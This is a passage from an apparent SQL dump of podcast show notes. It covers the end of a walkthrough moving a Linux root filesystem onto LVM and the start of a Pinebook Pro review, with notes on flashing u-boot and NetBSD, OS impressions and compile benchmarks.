usable 1.71 MiB\n  Allocatable           yes\n  PE Size               4.00 MiB\n  Total PE              238467\n  Free PE               238234\n  Allocated PE          233\n  PV UUID               wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                932.00 MiB\n  Current LE             233\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1</code></pre>\n<p>Whoops, the default unit for the lvcreate is MB, and I forgot to add\nG to my size. A good reason to always include units in whatever you do\n:) Also, pay attention to any reports printed at the end of a successful\ncommand. When I scrolled back I realized it told me the size it\ncreated.</p>\n<pre><code>root@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 932.00 MiB (233 extents) to 931.51 GiB (238467 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 0\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:1\n\nroot@work# cat /dev/sda3 &gt;/dev/mapper/workvg-root\n\nroot@work# mkdir /media/new-root\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.6G  99% /\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\n/dev/mapper/workvg-root  450G  421G  5.7G  99% /media/new-root</code></pre>\n<p>Ok, the LV volume is resized but the filesystem now needs to expanded\nto use the new disk space</p>\n<pre><code>root@work# umount /media/new-root/\n\nroot@work# resize2fs /dev/mapper/workvg-root\n\nresize2fs 1.46.5 (30-Dec-2021)\nPlease run &#39;e2fsck -f /dev/mapper/workvg-root&#39; first.\n\nroot@work# e2fsck -f /dev/mapper/workvg-root\ne2fsck 1.46.5 (30-Dec-2021)\nPass 1: Checking inodes, blocks, and sizes\nInode 7210086 extent tree (at level 2) could be narrower.  Optimize&lt;y&gt;? yes\nPass 1E: Optimizing extent trees\nPass 2: Checking directory structure\nPass 3: Checking directory connectivity\nPass 4: Checking reference counts\nPass 5: Checking group summary information\n\n/dev/mapper/workvg-root: ***** FILE SYSTEM WAS MODIFIED *****\n/dev/mapper/workvg-root: 827287/29974528 files (1.2% non-contiguous), 112395524/119870981 blocks\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nResizing the filesystem on /dev/mapper/workvg-root to 244190208 (4k) blocks.\nThe filesystem on /dev/mapper/workvg-root is now 244190208 (4k) blocks long.\n\nroot@work# mount /dev/mapper/workvg-root /media/new-root\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/sda3                450G  421G  5.5G  99% /\n/dev/mapper/workvg-root  916G  421G  449G  49% /media/new-root</code></pre>\n<p>Much better. Now we need to get the computer to boot using LVM and\nthe new drive. Need to make sure <code>/etc/fstab</code> is updated to\npoint to the new root filesystem.</p>\n<p>Make some in-memory filesystems available under the new root:</p>\n<pre><code>root@work# mount --rbind /dev /media/new-root/dev\nroot@work# mount --bind /proc /media/new-root/proc\nroot@work# mount --bind /sys /media/new-root/sys\nroot@work# mount --bind /run /media/new-root/run\n\nroot@work# chroot /media/new-root\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt;  &lt;mount point&gt;  &lt;type&gt;  &lt;options&gt;  &lt;dump&gt;  &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\nUUID=9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@work# vi /etc/fstab\n\nroot@work# cat /etc/fstab\n# /etc/fstab: static file system information.\n#\n# Use &#39;blkid&#39; to print the universally unique identifier for a\n# device; this may be used with UUID= as a more robust way to name devices\n# that works even if disks are added and removed. See fstab(5).\n#\n# &lt;file system&gt;  &lt;mount point&gt;  &lt;type&gt;  &lt;options&gt;  &lt;dump&gt;  &lt;pass&gt;\nPARTUUID=949a09f0-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /boot/efi  vfat  umask=0077  0  0\nPARTUUID=bbcc2068-xxxx-xxxx-xxxx-xxxxxxxxxxxx  /recovery  vfat  umask=0077  0  0\n/dev/mapper/workvg-root  /  ext4  noatime,errors=remount-ro  0  0\n/dev/mapper/cryptswap  none  swap  defaults  0  0\n\nroot@it05:/media/new-root/etc/initramfs-tools# lsinitramfs /boot/initrd.img-$(uname -r) | grep lvm\netc/lvm\netc/lvm/lvm.conf\netc/lvm/lvmlocal.conf\netc/lvm/profile\netc/lvm/profile/cache-mq.profile\netc/lvm/profile/cache-smq.profile\netc/lvm/profile/command_profile_template.profile\netc/lvm/profile/lvmdbusd.profile\netc/lvm/profile/metadata_profile_template.profile\netc/lvm/profile/thin-generic.profile\netc/lvm/profile/thin-performance.profile\netc/lvm/profile/vdo-small.profile\nscripts/init-bottom/lvm2\nscripts/local-block/lvm2\nscripts/local-top/lvm-workaround\nscripts/local-top/lvm2\nusr/lib/udev/rules.d/56-lvm.rules\nusr/lib/udev/rules.d/69-lvm-metad.rules\nusr/sbin/lvm\n\nroot@it05:/# update-initramfs -u\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub.Drive     : ERROR    Could not find a block device for the a partition. This is a critical error and we cannot continue.\nTraceback (most recent call last):\n  File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 56, in __init__\n    self.esp_fs = self.get_part_dev(self.esp_path)\n  File &quot;/usr/lib/python3/dist-packages/kernelstub/drive.py&quot;, line 94, in get_part_dev\n    raise NoBlockDevError(&#39;Couldn\\&#39;t find the block device for %s&#39; % path)\nkernelstub.drive.NoBlockDevError: Couldn&#39;t find the block device for /boot/efi\nrun-parts: /etc/initramfs/post-update.d//zz-kernelstub exited with return code 174\n\nroot@it05:/# lsblk -f\nNAME FSTYPE FSVER LABEL UUID                                   FSAVAIL FSUSE% MOUNTPOINTS\nsda\n&#x251C;&#x2500;sda1\n&#x2502;    vfat   FAT32       D499-28CF\n&#x251C;&#x2500;sda2\n&#x2502;    vfat   FAT32       D499-2B97\n&#x251C;&#x2500;sda3\n&#x2502;    ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n&#x2514;&#x2500;sda4\n     swap   1           1758e7a0-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n  &#x2514;&#x2500;cryptswap\n     swap   1     cryptswap\n                        e874c9cc-xxxx-xxxx-xxxx-xxxxxxxxxxxx                  [SWAP]\nsdb  LVM2_m LVM2        wRBz38-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n&#x2514;&#x2500;workvg-root\n     ext4   1.0         9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx    448.6G    46% /\n\nroot@it05:/# df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n\nroot@it05:/# mount /dev/sda1 /boot/efi\n\nroot@it05:/# update-initramfs -u\n\nupdate-initramfs: Generating /boot/initrd.img-5.19.0-76051900-generic\ncryptsetup: WARNING: Resume target cryptswap uses a key file\nkernelstub.Config    : INFO     Looking for configuration...\nkernelstub           : INFO     System information:\n\n    OS:..................Pop!_OS 22.04\n    Root partition:....../dev/dm-1\n    Root FS UUID:........9f1f68bb-xxxx-xxxx-xxxx-xxxxxxxxxxxx\n    ESP Path:............/boot/efi\n    ESP Partition:......./dev/sda1\n    ESP Partition #:.....1\n    NVRAM entry #:.......-1\n    Boot Variable #:.....0000\n    Kernel Boot Options:.quiet loglevel=0 systemd.show_status=false splash\n    Kernel Image Path:.../boot/vmlinuz-5.19.0-76051900-generic\n    Initrd Image Path:.../boot/initrd.img-5.19.0-76051900-generic\n    Force-overwrite:.....False\n\nkernelstub.Installer : INFO     Copying Kernel into ESP\nkernelstub.Installer : INFO     Copying initrd.img into ESP\nkernelstub.Installer : INFO     Setting up loader.conf configuration\nkernelstub.Installer : INFO     Making entry file for Pop!_OS\nkernelstub.Installer : INFO     Backing up old kernel\nkernelstub.Installer : INFO     Making entry file for Pop!_OS</code></pre>\n<p>ok, moment of truth, can i reboot into the new root filesystem</p>\n<pre><code>root@it05:/# shutdown -r now\nRunning in chroot, ignoring request.\n\nroot@it05:/# exit\nroot@work# shutdown -r now</code></pre>\n<p>Whoot! Success. Booted right back up, and can verify running from new\nLV</p>\n<pre><code>rhorning@icon-n.com@it05:~$ df -h\nFilesystem               Size  Used Avail Use% Mounted on\n/dev/mapper/workvg-root  916G  421G  449G  49% /\n/dev/sda1                497M  373M  125M  76% /boot/efi</code></pre>\n<p>Next step, add the original root partition (/dev/sda3) to the volume\ngroup so there is 1.5Gb available to the filesystem</p>\n<pre><code>root@work# pvcreate /dev/sda3\nWARNING: ext4 signature detected on /dev/sda3 at offset 1080. Wipe it? [y/n]: y\n  Wiping ext4 signature on /dev/sda3.\n  Physical volume &quot;/dev/sda3&quot; successfully created.\n\nroot@work# vgextend workvg /dev/sda3\n  Volume group &quot;workvg&quot; successfully extended\n\nroot@work# vgdisplay\n  --- Volume group ---\n  VG Name               workvg\n  System ID\n  Format                lvm2\n  Metadata Areas        2\n  Metadata Sequence No  4\n  VG Access             read/write\n  VG Status             resizable\n  MAX LV                0\n  Cur LV                1\n  Open LV               1\n  Max PV                0\n  Cur PV                2\n  Act PV                2\n  VG Size               &lt;1.36 TiB\n  PE Size               4.00 MiB\n  Total PE              355528\n  Alloc PE / Size       238467 / 931.51 GiB\n  Free  PE / Size       117061 / &lt;457.27 GiB\n  VG UUID               67DSwP-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                931.51 GiB\n  Current LE             238467\n  Segments               1\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# lvextend -l +100%FREE /dev/workvg/root\n  Size of logical volume workvg/root changed from 931.51 GiB (238467 extents) to &lt;1.36 TiB (355528 extents).\n  Logical volume workvg/root successfully resized.\n\nroot@work# lvdisplay\n  --- Logical volume ---\n  LV Path                /dev/workvg/root\n  LV Name                root\n  VG Name                workvg\n  LV UUID                srXpUd-xxxx-xxxx-xxxx-xxxx-xxxx-xxxxxx\n  LV Write Access        read/write\n  LV Creation host, time work.example.com, 2022-10-18 08:46:34 -0400\n  LV Status              available\n  # open                 1\n  LV Size                &lt;1.36 TiB\n  Current LE             355528\n  Segments               2\n  Allocation             inherit\n  Read ahead sectors     auto\n  - currently set to     256\n  Block device           253:0\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  916G  421G  449G  49% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n\nroot@work# resize2fs /dev/mapper/workvg-root\nresize2fs 1.46.5 (30-Dec-2021)\nFilesystem at /dev/mapper/workvg-root is mounted on /; on-line resizing required\nold_desc_blocks = 117, new_desc_blocks = 174\nThe filesystem on /dev/mapper/workvg-root is now 364060672 (4k) blocks long.\n\nroot@work# df -h\nFilesystem               Size  Used Avail Use% Mounted on\ntmpfs                    1.6G  2.4M  1.6G   1% /run\n/dev/mapper/workvg-root  1.4T  421G  881G  33% /\ntmpfs                    7.8G     0  7.8G   0% /dev/shm\ntmpfs                    5.0M     0  5.0M   0% /run/lock\n/dev/sda1                497M  373M  125M  76% /boot/efi\n/dev/sda2                4.0G  3.4G  692M  84% /recovery\ntmpfs                    7.8G     0  7.8G   0% /run/qemu\ntmpfs                    1.6G  1.7M  1.6G   1% /run/user/1202401106\n</code></pre>\n<h1 id=\"references\">References</h1>\n<ul>\n<li><a\nhref=\"https://unix.stackexchange.com/questions/213906/move-data-from-regular-partition-to-lvm\">Move\ndata from regular partition to lvm</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.learnitguide.net/2016/06/how-to-create-lvm-partition-in-linux.html\">How\nto Create LVM Partition in Linux &#x2013; LVM Tutorial</a>; Viewed on\n2022-10-18</li>\n<li><a href=\"https://access.redhat.com/solutions/44089\">\'lvextend -l\n100%FREE\' resizing to the number of free extents rather than adding them\nto the current size in RHEL</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://xan.manning.io/2017/05/29/best-practice-for-mounting-an-lvm-logical-volume-with-etc-fstab.html\">Best\nPractice for Mounting an LVM Logical Volume with /etc/fstab</a>; Viewed\non 2022-10-18</li>\n<li><a\nhref=\"https://www.reddit.com/r/pop_os/comments/aowtu1/cant_update_kernel_and_initramfs/\">Can\'t\nupdate kernel and initramfs</a>; Viewed on 2022-1018</li>\n<li><a\nhref=\"https://www.amazon.com/Crucial-MX500-NAND-SATA-Internal/dp/B078211KBB/ref=sr_1_1_sspa?gclid=Cj0KCQjwnP-ZBhDiARIsAH3FSRcoW5tSEHvVPvu-kNm_QVTIdnHsLpI8P0GJ8RufYNcbOak2Ox9wCwAaApZJEALw_wcB&amp;hvadid=410127070457&amp;hvdev=c&amp;hvlocphy=9007894&amp;hvnetw=g&amp;hvqmt=b&amp;hvrand=17548218152440937646&amp;hvtargid=kwd-76948762643&amp;hydadcr=18005_11412178&amp;keywords=ssd%2Bcrucial%2B1tb&amp;qid=1665152899&amp;qu=eyJxc2MiOiIyLjc2IiwicXNhIjoiMi4zNyIsInFzcCI6IjIuMDAifQ%3D%3D&amp;sr=8-1-spons&amp;th=1\">Crucial\nMX500 1TB 3D NAND SATA 2.5-inch</a>; Viewed on 2022-10-18</li>\n<li><a\nhref=\"https://www.amazon.com/Corsair-Dual-Mounting-Bracket-CSSD-BRKT2/dp/B016498CK0/ref=pd_day0fbt_sccl_1/134-2954782-4788331?pd_rd_w=RSAip&amp;content-id=amzn1.sym.9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_p=9b14949a-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pf_rd_r=SPJE0DTTC2DFH8PP17ZH&amp;pd_rd_wg=zktxr&amp;pd_rd_r=ca3b049f-xxxx-xxxx-xxxx-xxxxxxxxxxxx&amp;pd_rd_i=B016498CK0&amp;psc=1\">Corsair\nDual SSD Mounting Bracket (3.5&#x201D; Internal Drive Bay to 2.5\", Easy\nInstallation) </a>; Viewed on 2022-10-18</li>\n</ul>\n',293,0,0,'CC-BY-SA','LVM, Linux Volume Management, hard drive, SSD',0,0,1),
(3728,'2022-11-16','Pinebook Pro review',2917,'I talk about the Pinebook Pro (and bricking various other arm devices)','<h1 id=\"why-the-pbp\">Why the PBP?</h1>\n<p>Lately I\'ve been thinking a lot about power consumption when it comes\nto computing. Intuitively, I know that arm devices pull significantly\nless power than amd64 machines but I\'ve never really tested this in the\nreal world. So, some preliminary power consumption stats:</p>\n<ul>\n<li>big amd64 laptops (thinkpad x220 and t490) pull at most 65\nwatts</li>\n<li>small arm SOCs typically pull at most 15 watts</li>\n<li>most android phones pull at most 18 watts</li>\n<li>Pentium 4 pulls at most 250 watts</li>\n</ul>\n<p>These numbers are fairly easy to find: just look at the power supply\nfor a MAXIMUM OUTPUT value or something similar. This is the point at\nwhich the power supply fails so we can safely assume this is the maximum\npower draw for any given computer. Of course, this is DC output and not\nAC output and anyone who knows anything about electricity knows that\nconverting AC to DC is expensive but these values are useful as a\ngeneral estimate. <a href=\"https://0x19.org/posts/2022-01-08.php\">I\nwrote something similar about computer power consumption some time\nago</a></p>\n<p>My goal in all of this was to find a self contained computer that\nruns UNIX, doesn\'t take much power, isn\'t a consumption rectangle\n(smartphone), and can be charged from both AC with a rectifier and\nstored DC without an inverter. Charging from existing stored power was\nprobably the most novel consideration. Everything else is a given.</p>\n<p>A few obvious answers come to mind:</p>\n<ul>\n<li><a\nhref=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry\nPi 4</a> is not self contained and using a pitop in public is a good way\nto get the bomb squad called on you</li>\n<li><a href=\"https://beagleboard.org/black\">beaglebone black</a> is good\ntoo but neither self contained nor popular enough for wide OS\nsupport</li>\n<li><a\nhref=\"https://pine64.com/product/14%e2%80%b3-pinebook-pro-linux-laptop-ansi-us-keyboard/\">Pinebook\nPro</a> is self contained and is supported by some of the operating\nsystems I\'d like to run</li>\n</ul>\n<p>The PBP is an obvious choice. It\'s an open hardware ARM laptop that\ncan be charged via a barrel cable (AC-&gt;DC) or via USB-C. Charging\nfrom USB-C is a very useful feature because it means I can easily choose\nbetween charging from the mains where efficiency loss is acceptable and\ncharging from a DC source where efficiency loss is unacceptable.</p>\n<p>The actual use case is \"what computer can I run off of a old car\nbattery or the alternator in my car without burning power with an\ninverter?\". I\'ll revisit this use case in a later section.</p>\n<hr />\n<h1 id=\"initial-notes\">Initial notes</h1>\n<p>I took these notes immediately upon opening the PBP. They remain\nunedited because I want to be honest on the first impressions.</p>\n<h2 id=\"shipping\">shipping</h2>\n<p>I was worried about DHL dropping my package out of a plane. Or\nleaving it out in the rain. Or having one of the employees use it as a\nsoccer ball. Or having the thing get stuck in customs. It ended up\narriving safely and was packaged well. Two boxes within a padded\nenvelope within another envelope. Surprising for DHL.</p>\n<h2 id=\"hardware-impressions\">hardware impressions</h2>\n<ul>\n<li>Touchpad sucks and trackpad scrolling sucks (it\'s probably just\nKDE). Installing synaptics drivers allegedly fix this problem.</li>\n<li>keyboard is comfortable, clickly, full sized despite being a\nchicklet keyboard. I don\'t like that the <code>&lt;ctl&gt;</code> and\n<code>&lt;fn&gt;</code> keys are backwards when compared to a thinkpad.\nI really like the thinkpad keyboard layout.</li>\n<li>Shift+enter seems to type the <code>M</code> character. My muscle\nmemory for key chording is now broken. This appears to be a fundamental\ndesign flaw with KDE.</li>\n<li>Passively cooled, gets a bit warm.</li>\n<li>display is sharp (IPS) and almost too high resolution for my eyes\n(1920x1080 instead of 1366x768). I can fix this in software.</li>\n<li>enabling/disabling mic/wifi/camera through the keyboard is confusing\nand (seemingly) does not perform the \"kill switch\" via hotplugging like\nthe Thinkpad X220\'s wifi kill switch.</li>\n<li>Charger comes with both US and EU prongs.</li>\n</ul>\n<h2 id=\"software-impressions\">software impressions</h2>\n<ul>\n<li>it\'s manjaro :(</li>\n<li>it\'s KDE :(</li>\n<li>it comes with mpv :)</li>\n<li>bluez instead of bluetoothd :(</li>\n<li>firewalld instead of UFW &lt;3</li>\n<li>no vim, no vi, and no ed on the standard installation so this is\ncompletely useless and unusable.</li>\n<li>firefox config uses google as the default search engine</li>\n<li>It didn\'t come with RHEL7 or so obviously I hate it</li>\n<li>It didn\'t come with BSD so obviously I hate it</li>\n<li>Terminal color scheme is one of the worst I\'ve seen in my life</li>\n</ul>\n<h1 id=\"secondary-notes\">Secondary notes</h1>\n<p>From my next available free day, largely unedited:</p>\n<h2 id=\"software\">software</h2>\n<ul>\n<li>I still don\'t like manjaro. I still don\'t like pacman.</li>\n<li>On the default manjaro installation, the\n<code>manjaro-arm-flasher</code> tool seems to create bootable SD cards\n(nice for the insurance policy)</li>\n<li>when updating (lots of network IO throughput), the wireless card\nseems to stutter.</li>\n<li>I Can\'t boot another OS using the stock firmware. I need to flash\nthe \"SPI flash\" (fancy ARM guy terminology for nvram) with newer\nversions of u-boot that are more hacker friendly (ie the ones that don\'t\nrequire a serial display).</li>\n</ul>\n<h2 id=\"hardware\">hardware</h2>\n<ul>\n<li>The emmc is toggable with a DIP switch on the mainboard. <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro#Internal_Layout\">My\nmainboard looks slightly different than the images on the wiki</a> but\nall of the components are generally in the same location</li>\n</ul>\n<hr />\n<h1 id=\"technical-stuff\">Technical stuff</h1>\n<h2 id=\"upgrading-the-u-boot-on-storage-devices\">upgrading the u-boot on\nstorage devices</h2>\n<p>It seems that the PBP has three possible locations for the\nbootloader: nvram, EMMC, and sd card. The boot process is something\nlike:</p>\n<ol type=\"1\">\n<li>load bootloader from nvram</li>\n<li>query storage device</li>\n<li>if the storage device has it\'s own bootloader, chainload that</li>\n<li>otherwise, use the bootloader from nvram</li>\n</ol>\n<p>It\'s u-boot soup but upgrading the bootloader on the storage device\nseems to marginally increase stability.</p>\n<pre><code>$ sudo pacman -Syuu\n$ sudo pacman -S uboot-pinebookpro\n$ sudo dd if=/boot/idbloader.img of=/dev/mmcblk2 seek=64 conv=notrunc,fsync\n$ sudo dd if=/boot/u-boot.itb of=/dev/mmcblk2 seek=16384 conv=notrunc,fsync\n$ sudo sync\n$ sudo reboot</code></pre>\n<h1 id=\"flashing-u-boot-externally-and-buying-more-stuff\">Flashing\nu-boot externally and buying more stuff</h1>\n<p><a href=\"https://nullr0ute.com/2021/05/fedora-on-the-pinebook-pro/\">I\nfound some fedora specific instructions that are actually just PBP\nspecific</a> Using the u-boot and idb from fedora, The screen flashes\nwith garbled nonsense when loading a kernel but at least I can see the\noutput from u-boot. Different kernels show different garbled nonsense so\nit\'s a bit of fun. The keyboard does not work in u-boot. The system will\nnow also boot from the SD card (although it seems the system will always\nboot from EMMC once before allowing booting from the sd card).</p>\n<p>Armbian and NetBSD seem to boot just fine from the sd card. I\'m\nkeeping a sd card with the stock Manjaro image as an insurance\npolicy.</p>\n<p>Because the keyboard does not work in u-boot, I ordered the pine64\nserial over 3.5mm audio jack cable so that I can (hopefully) fix this in\nthe future. The system still boots automatically but I\'d really like to\npass options to my bootloader to do things like enter single user mode,\nrun an fsck at boot time, boot various versions of kernels, etc.</p>\n<hr />\n<h1 id=\"os-support\">OS Support</h1>\n<p>I will not use Arch. You cannot force me. You cannot coerce me. You\ncannot even bribe me. I will use anything other than Arch as long as\nit\'s not ubuntu.</p>\n<p>Sadly, BSD is not \"super easy\" on the PBP like most other SBCs but\nI\'ve never stepped down from a challenge. Even sadder, no Plan 9 ported\nto PBP either. Running a \"distro based on a distro based on a distro\nbased on arch\" is the antithesis of my computing philosophy. Luckily\nenough, there is a big <a\nhref=\"https://wiki.pine64.org/wiki/Pinebook_Pro_Software_Release\">list\nof operating systems that run on the PBP</a>. Most of these are distros\nbased on distros based on distros. OpenBSD instantly appeals to me but\nthere is no support for graphical TTYs as of yet (installation must be\nperformed over serial) so this is a non-starter. NetBSD also appeals to\nme but no wifi in 9.x, only in -CURRENT. A wide selection of actually\nusable software, take your pick.</p>\n<p><a\nhref=\"https://github.com/manjaro-arm/pbpro-images/releases/\">Official\nManjaro images with a variety of DEs</a> also exist for when you lost\n(or corrupted) your insurance policy SD card.</p>\n<p><img src=\"http://hackerpublicradio.org/eps/hpr3728/boot-loops.jpg\"\nalt=\"android boot loops, my experience with booting Manjaro from an SD card\" /></p>\n<hr />\n<h1 id=\"netbsd\">NetBSD</h1>\n<p>NetBSD seems to work just fine but 9.x doesn\'t yet ship the broadcom\ndrivers. These drivers are present in the -CURRENT branch but the issue\nwith -CURRENT is that it\'s not entirely stable. Additionally, the\nbootloader does not come with the system.</p>\n<p><a\nhref=\"http://cdn.netbsd.org/pub/pkgsrc/current/pkgsrc/sysutils/u-boot-pinebook-pro/index.html\">u-boot\nfrom pkgsrc</a></p>\n<p><a\nhref=\"https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\">aarch64\nbuild of NetBSD</a></p>\n<p>To get around the no wifi issue, a dongle is required. I use an\n<code>Atheros AR9271</code> USB-&gt;WiFi dongle. To get around no RJ45\nport, I use a USB-&gt;RJ45 adapter. I have an <code>ASIX ax88772</code>\ndongle (UGREEN branded but I\'m not sure that matters). Both of these\ndongles seem to work with every single operating system and hardware\nconfiguration I\'ve tried them with.</p>\n<p>Arm is strange, so we must boot from an SD card (running any OS, in\nmy case NetBSD) in order to burn an image to the internal storage.</p>\n<p>From a separate machine, the options passed to <code>dd</code>\n<em>are</em> important.</p>\n<pre><code>$ wget https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n$ wget http://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/.9.0_2022Q2_pkgbuild/All/u-boot-pinebook-pro-2022.01nb1.tgz\n$ gunzip ./arm64.img\n$ tar xzf ./u-boot-pinebook-pro-2022.01nb1.tgz\n$ sudo umount /dev/sdx*\n$ sudo dd if=./arm64.img of=/dev/sdx status=progress conv=fsync bs=1M\n$ sudo sync\n$ sudo dd if=./u-boot-pinebook-pro-2022.01nb1/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/sdx seek=64 conv=sync status=progress\n$ sudo sync\n$ sudo eject /dev/sdx</code></pre>\n<p>And, to install NetBSD to the internal EMMC, the process is similar.\nNetBSD\'s version of <code>dd</code> varies slightly but the options\npassed <em>are</em> important.</p>\n<pre><code># ftp https://cdn.netbsd.org/pub/NetBSD/NetBSD-9.3/evbarm-aarch64/binary/gzimg/arm64.img.gz\n# gunzip ./arm64.img\n# dd if=./arm64.img of=/dev/rl0d conv=sync bs=1m\n# sync\n# PKG_PATH=&quot;http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# pkgin install u-boot-pinebook-pro\n# sudo dd if=/usr/pkg/share/u-boot/pinebook-pro/rksd_loader.img of=/dev/rld0 seek=64 conv=sync\n# sync\n# reboot</code></pre>\n<p>And, some more desktop centric things after booting from EMMC:</p>\n<pre><code># passwd\n# echo &quot;postfix=NO&quot; &gt;&gt; /etc/rc.conf\n# echo &quot;xdm=YES&quot; &gt;&gt; /etc/rc.conf</code></pre>\n<p>Installing pkgin (and some packages):</p>\n<pre><code># PKG_PATH=&quot;https://cdn.NetBSD.org/pub/pkgsrc/packages/NetBSD/aarch64/9.3/All/&quot; pkg_add pkgin\n# sed -i&#39;&#39; -e &#39;s/9.0/9.3/g&#39; /usr/pkg/etc/pkgin/repositories.conf\n# pkgin install vim git mozilla-rootcerts mozilla-rootcerts-openssl</code></pre>\n<p>The rest is NetBSD specific and I\'ve avoided getting into it here\nbecause it doesn\'t have anything to do with the PBP.</p>\n<hr />\n<h2 id=\"performance\">Performance</h2>\n<p>The PBP has 6 cores (2 fast, 4 slow) and 4gb ram. The cpu is fairly\nslow but entirely usable. On large procedural jobs like software\ncompilation, it\'s painful. For concurrent jobs, it\'s mostly fine.</p>\n<h2 id=\"compiler-performance\">Compiler performance</h2>\n<p>As expected, the PBP is slower when it comes to compilation than a\nstandard amd64 machine. Surprisingly enough, NetBSD was significantly\nslower than Manjaro. This is likely due to the Linux kernel knowing how\nto better handle multiple CPUs with varying speeds.</p>\n<h3 id=\"sequential-jobs\">sequential jobs</h3>\n<p>I used <a href=\"https://github.com/9fans/plan9port\">plan9port</a>\nbecause it\'s a fairly large but portable project. Compilation is largely\nsequential, invokes many standard shell utilities, and involves extra\npreprocessor steps to convert 9 C into something a standard UNIX\ncompiler like GCC or Clang can compile.</p>\n<p>On a T490 - 8th gen Core i7 (4 cores, 8 threads, 4.8GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real    232.51 (~4 minutes)\nuser    188.07\nsys     65.01</code></pre>\n<p>On an X220 - 2nd gen Core i5 (2 cores, 4 threads, 2.6GHz, vPro for\nmaximum thermal output):</p>\n<pre><code>real    249.98 (~4 minutes)\nuser    220.33\nsys     65.52</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running stock <strong>Manjaro</strong> image):</p>\n<pre><code>real    1355.27 (~22 minutes)\nuser    1178.47\nsys     347.71</code></pre>\n<p>On the PBP (2 2.0GHz cores + 4 1.5GHz cores, no CPU fan for maximum\nthermal output) (running <strong>NetBSD</strong>):</p>\n<pre><code>real    3715.24 (~60 minutes)\nuser    1946.84\nsys     3435.29</code></pre>\n<h3 id=\"concurrent-jobs\">concurrent jobs</h3>\n<p>I used <a 